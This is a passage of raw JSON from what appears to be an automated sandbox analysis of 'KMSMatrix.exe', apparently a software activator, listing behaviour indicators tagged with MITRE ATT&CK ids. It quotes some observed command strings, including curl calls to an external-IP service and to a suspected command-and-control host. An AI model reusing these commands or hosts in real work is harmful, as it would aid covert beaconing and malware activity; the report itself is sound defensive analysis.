\"%WINDIR%\\System32\\bcryptprimitives.dll\" at A78D0000\n \"timeout.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at A78D0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at A78D0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at A6AD0000\n \"findstr.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at A78D0000\n \"find.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at A78D0000\n \"cscript.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at A78D0000\n \"cscript.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at A6AD0000\n \"reg.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at A78D0000\n \"fltMC.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at A78D0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"KMSMatrix.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 85D60000\n \"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 85D60000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"KMSMatrix.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at AA9B0000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at AA9B0000\n \"timeout.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at AA9B0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at AA9B0000\n \"findstr.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at AA9B0000\n \"find.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at AA9B0000\n \"cscript.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at AA9B0000\n \"reg.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at AA9B0000\n \"fltMC.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at AA9B0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"$4b","origin":"API Call","mitre_attack_id":"T1059","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000040c7e1a7f97f0000@ntdll.dll\"\n \"220023000000000018c7e1a7f97f0000@ntdll.dll\"\n \"19001a003b00000040c7e1a7f97f0000@ntdll.dll\"\n \"\"#;@ntdll.dll\", \"19001a00d600000040c7e1a7f97f0000@ntdll.dll\", \"22002300d600000018c7e1a7f97f0000@ntdll.dll\", \"19001a004d00000040c7e1a7f97f0000@ntdll.dll\", \"\"#M@ntdll.dll\"\n \"19001a006400000040c7e1a7f97f0000@ntdll.dll\"\n \"\"#d@ntdll.dll\", \"19001a00d200000040c7e1a7f97f0000@ntdll.dll\", \"22002300d200000018c7e1a7f97f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"KMSMatrix.exe\" was detected as \".NET\" and name: \"Library\"\n \"KMSMatrix.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$4d","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"PE file contains COM data directory","description":"\"KMSMatrix.exe\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"","origin":"Static Parser","relevance":1,"id":"static-144","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"KMSMatrix.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"KMSMatrix.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$4e","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x68b000\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x68af38\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Possibly checks for the presence of an Antivirus engine","description":"\"hqbkavc\" (Indicator: \"bkav\") in Source: KMSMatrix.exe","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":2,"id":"string-8","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$4f","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$50","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"c.zeltitmp.net\"\n \"github.com\"\n \"ipinfo.io\"\n \"raw.githubusercontent.com\"\n \"translate.googleapis.com\"\n \"zeltitmp.net\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")\n \"cscript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$51","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$52","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"$53","origin":"Monitored Target","mitre_attack_id":"T1059.003","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$54","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$55","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"KMSMatrix.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\cnf\"\n \"KMSMatrix.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\m_srv.cmd\"\n \"KMSMatrix.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\s_w.ps1\"\n \"KMSMatrix.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\s_o\"\n \"KMSMatrix.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\inf.cmd\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_kosecsoq.xwi.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_qthzprby.d4x.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_xjyuaidf.3zz.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ovi5np4p.ufo.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\o_WStatus.txt\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create/modify Windows services (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Add-Type\"; File: \"KMSMatrix.exe\")\n Found string \"set \"d1=Add-Type -AssemblyName System.Net.Http;\"\" (Indicator: \"Add-Type\"; File: \"m_srv.cmd\")\n Found string \"set \"d1=Add-Type -AssemblyName System.Net.Http;\"\" (Indicator: \"Add-Type\"; Source: \"00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-396","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains reference to software packages activity (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-AppxPackage\"; File: \"KMSMatrix.exe\")\n Found string \"%psc% \"Get-AppxPackage -name \"Microsoft.Office.Desktop\"\" | find /i \"Office\" 1>nul && set uwp16=Office 16.0 UWP\" (Indicator: \"Get-AppxPackage\"; File: \"m_srv.cmd\")\n Found string \"%psc% \"Get-AppxPackage -name \"Microsoft.Office.Desktop\"\" | find /i \"Office\" 1>nul && set uwp16=Office 16.0 UWP\" (Indicator: \"Get-AppxPackage\"; Source: \"00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1072","relevance":1,"id":"string-387","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"KMSMatrix.exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"powershell.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$56","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$57","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"KMSMatrix.exe\" queries basic process information of the \"C:\\KMSMatrix.exe\" (UID: 2616)\n \"KMSMatrix.exe\" queries basic process information of the \"C:\\Windows\\System32\\cmd.exe\" (UID: 2616)\n \"KMSMatrix.exe\" queries basic process information of the \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 2616)\n \"cmd.exe\" queries basic process information of the \"C:\\Windows\\System32\\cmd.exe\" (UID: 6600)\n \"cmd.exe\" queries basic process information of the \"C:\\Windows\\System32\\timeout.exe\" (UID: 6600)\n \"powershell.exe\" queries basic process information of the \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 6552)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$58","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$59","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Installation/Persistence","name":"References PATH environment registry keys","description":"$5a","origin":"File/Memory","mitre_attack_id":"T1574.007","relevance":1,"id":"string-530","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Installation/Persistence","name":"References user shell folders registry key string","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-410","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to retrieve type of COM object\n Matched sigs: Found a reference to an external IP address lookup service\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Tries to identify its external IP address","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"KMSMatrix.exe\" trying to touch file \"C:\\Windows\\System32\\mscoree.dll\"\n \"KMSMatrix.exe\" trying to touch file \"C:\\Windows\\System32\\apphelp.dll\"\n \"KMSMatrix.exe\" trying to touch file \"C:\\KMSMatrix.exe\"\n \"KMSMatrix.exe\" trying to touch file \"C:\\Windows\\System32\\ntdll.dll\"\n \"KMSMatrix.exe\" trying to touch file \"C:\\Windows\\System32\\kernel32.dll\"\n \"KMSMatrix.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"\n \"KMSMatrix.exe\" trying to touch file \"C:\\Windows\\apppatch\\sysmain.sdb\"\n \"KMSMatrix.exe\" trying to touch file \"\\Device\\HarddiskVolume2\\FLTLIB.DLL\"\n \"KMSMatrix.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\"\n \"KMSMatrix.exe\" trying to touch file \"C:\\windows\\temp\\VxOle64.dll\"\n \"KMSMatrix.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"KMSMatrix.exe\" touched file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"KMSMatrix.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"powershell.exe\" touched file \"\\Device\\HarddiskVolume2\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"\\Device\\HarddiskVolume2\\Windows\\System32\\catroot2\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"\\Device\\HarddiskVolume2\\Windows\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"\\Device\\HarddiskVolume2\\Windows\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$5c","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$5d","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"$5e","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"powershell.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\WStatus.log\"\n \"cmd.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\OStatus.log\"\n \"cmd.exe\" writes a file \"%TEMP%\\OStatus.log\"\n \"KMSMatrix.exe\" writes a file \"%TEMP%\\WStatus.log\"\n \"KMSMatrix.exe\" writes a file \"%TEMP%\\OStatus.log\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Network Related","name":"Contains ability to check internet connectivity","description":"file/memory contains long string with (Indicator: \"ping 127.0.0.1\"; File: \"KMSMatrix.exe\")\n Found string \"ping 127.0.0.1 -n 6 > nul\" (Indicator: \"ping 127.0.0.1\"; File: \"m_srv.cmd\")\n Found string \"ping 127.0.0.1 -n 6 > nul\" (Indicator: \"ping 127.0.0.1\"; Source: \"00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016.001","relevance":1,"id":"string-573","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00001580-00000C26-66974342\")\n Found reference to API \"WinHttpOpen\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00001580-00000C26-67287771\")\n Found reference to API \"WinHttpOpenW\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00001580-00000C26-67287815\")\n Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00001580-00000C26-67519630\")\n Found reference to API \"WSARecv\" (Indicator: \"WSARecv\"; Source: \"00000000-00001580-00000C26-67566601\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Network Related","name":"Contains ability to copy items (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Copy-Item \"; File: \"KMSMatrix.exe\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-377","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve TCP/IP network configuration","description":"Found string \"ipconfig /flushdns %nul%\" (Indicator: \"ipconfig \"; File: \"m_srv.cmd\")\n Found string \"ipconfig /flushdns %nul%\" (Indicator: \"ipconfig \"; Source: \"00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-325","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Network Related","name":"Contains ability to transfer data using curl","description":"Observed string: \"/c curl https://ipinfo.io/ip -k\" (Indicator: \" curl \") in Source: cmd.exe\n Observed string: \"/c curl https://ipinfo.io/ip -k\" (Indicator: \"/c curl \") in Source: cmd.exe\n Observed string: \"curl https://ipinfo.io/ip -k\" (Indicator: \"curl \") in Source: curl.exe\n Observed string: \"curl https://ipinfo.io/country -k\" (Indicator: \"curl \") in Source: curl.exe\n Observed string: \"/c curl -k https://c.zeltitmp.net/c01.php --user-agent \"c010101\"\" (Indicator: \" curl \") in Source: cmd.exe\n Observed string: \"/c curl -k https://c.zeltitmp.net/c01.php --user-agent \"c010101\"\" (Indicator: \"/c curl \") in Source: cmd.exe\n Observed string: \"curl -k https://c.zeltitmp.net/c01.php --user-agent \"c010101\"\" (Indicator: \"curl \") in Source: curl.exe","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-576","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Mail transfer protocol","description":"Found string \"`~^z]x]y_y`y_w\\tZoYmZo[p[nXjUiTiTiShShShRgPhOhNhMhMiOjSlTmTlSjSkRnRoRmRkSmTpVqVqVsWuVtUtVuWuWtVsXvZyZyYwZy\\{\\yZuZt\\u]w^x_z`{a{ayaxbxdxeydzc{d{f{g|h~j\" (Indicator: \"smtp\"; File: \"KMSMatrix.exe\")\n Found string \"m}l{kzjzizhxfwdwdvctbsbtctbtas`r`q`p_p_q`rasbrbrcqcpdpfqismtpvrwtyuzuzvyvywzx{z|{}|}|}}~~\" (Indicator: \"smtp\"; File: \"KMSMatrix.exe\")","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-499","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Network Related","name":"Found domain strings related to cloud services(possible C&C communication)","description":"file/memory contains long string with (Indicator: \".googleapis.com\"; File: \"s_w.ps1\")\n Found string \"raw.githubusercontent.com\" (Indicator: \"githubusercontent.com\"; File: \"PCAP\")\n Found string \"translate.googleapis.com\" (Indicator: \".googleapis.com\"; File: \"PCAP\")\n Found string \"$Uri = \"https://translate.googleapis.com/translate_a/single?client=gtx&sl=auto&tl=$($TargetLanguage)&dt=t&q=$Text3\"\" (Indicator: \".googleapis.com\"; File: \"s_w.ps1\")\n Found string \"$Uri = \"https://translate.googleapis.com/translate_a/single?client=gtx&sl=auto&tl=$($TargetLanguage)&dt=t&q=$Text3\"\" (Indicator: \".googleapis.com\"; Source: \"00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1102","relevance":1,"id":"string-186","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$5f","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$60","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$61","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Network Related","name":"GETs files from a webserver (HTTPS)","description":"$62","origin":"Network 